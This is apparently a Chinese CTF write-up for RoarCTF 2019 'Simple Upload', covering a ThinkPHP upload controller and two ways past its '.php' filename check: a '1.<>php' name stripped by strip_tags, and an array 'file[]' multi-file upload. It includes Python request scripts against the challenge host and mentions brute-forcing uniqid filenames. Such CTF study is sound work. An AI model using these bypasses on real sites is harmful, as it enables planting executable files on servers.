[RoarCTF 2019]Simple Upload

知识点

  • 文件上传
  • 代码审计
  • thinkphp的upload()

WP

打开看看,是个文件上传:

        $uploadFile = $_FILES['file'] ;

        if (strstr(strtolower($uploadFile['name']), ".php") ) {
     
            return false;
        }

        $upload = new \Think\Upload();// 实例化上传类
        $upload->maxSize  = 4096 ;// 设置附件上传大小
        $upload->allowExts  = array('jpg', 'gif', 'png', 'jpeg');// 设置附件上传类型
        $upload->rootPath = './Public/Uploads/';// 设置附件上传目录
        $upload->savePath = '';// 设置附件上传子目录
        $info = $upload->upload() ;
        if(!$info) {
     // 上传错误提示错误信息
            $this->error($upload->getError());
            return;
        }else{
     // 上传成功 获取上传文件信息
            $url = __ROOT__.substr($upload->rootPath,1).$info['file']['savepath'].$info['file']['savename'] ;
            echo json_encode(array("url"=>$url,"success"=>1));
        }
    }

限制了不能以.php作为后缀,后续跟了一下代码感觉也没有利用的地方(其实是有的),就GG了。
看了WP,大概是有2种方式:

代码层绕过

主要是传进入的文件名在处理的时候被这么处理:

        foreach ($files as $key => $file) {
     
            $file['name']  = strip_tags($file['name']);
            if(!isset($file['key']))   $file['key']    =   $key;
            /* 通过扩展获取文件类型,可解决FLASH上传$FILES数组返回文件类型错误的问题 */
            if(isset($finfo)){
     
                $file['type']   =   finfo_file ( $finfo ,  $file['tmp_name'] );
            }

有个strip_tags没注意看,那这直接绕了啊,传1.<>php,直接出:

import  requests

url = "http://8cbe0e9c-b7de-46f3-b93d-555073775ad1.node3.buuoj.cn/index.php/home/index/upload"

files={
     'file':('1.<>php',"")}
r=requests.post(url=url,files=files)
print(r.text)

upload()批量上传

原因:

think PHP里的upload()函数在不传参的情况下是批量上传的

因此如果上传多个文件,这里的处理:

        $uploadFile = $_FILES['file'] ;

        if (strstr(strtolower($uploadFile['name']), ".php") ) {
     
            return false;
        }

$uploadFile['name']是个数组,里面的每个元素是文件名。因此对数组操作,这里肯定可以绕过了,之后的处理也不用管了,反正支持多文件上传,和正常的单文件上传最后肯定是一样的。

师傅们的脚本:

import requests
url = "http://8cbe0e9c-b7de-46f3-b93d-555073775ad1.node3.buuoj.cn/index.php/home/index/upload"
files = {
     'file':("1.txt","")}
files2={
     'file[]':('1.php',"")}
r = requests.post(url,files = files)
print (r.text)
r = requests.post(url,files = files2)
print (r.text)
r = requests.post(url,files = files)
print (r.text)

还上传了2个txt文件就是审一下代码,会发现文件名是通过uniqid得到的,这是根据当前时间来得到的随机数,取这么个区间:
在这里插入图片描述
直接爆破最后的那几位即可。感觉这种解法没上面那种解法更好,但是确实也是一种巧解,爆破脚本不写了,太懒了。。。

另外,就是这里:

        $upload->allowExts  = array('jpg', 'gif', 'png', 'jpeg');// 设置附件上传类型

并没有什么用,审一下代码就会发现这玩意没什么用,实际上这个upload.class.php里面就没这个属性,自然也不会用到了。

你可能感兴趣的:(代码审计,文件上传,php)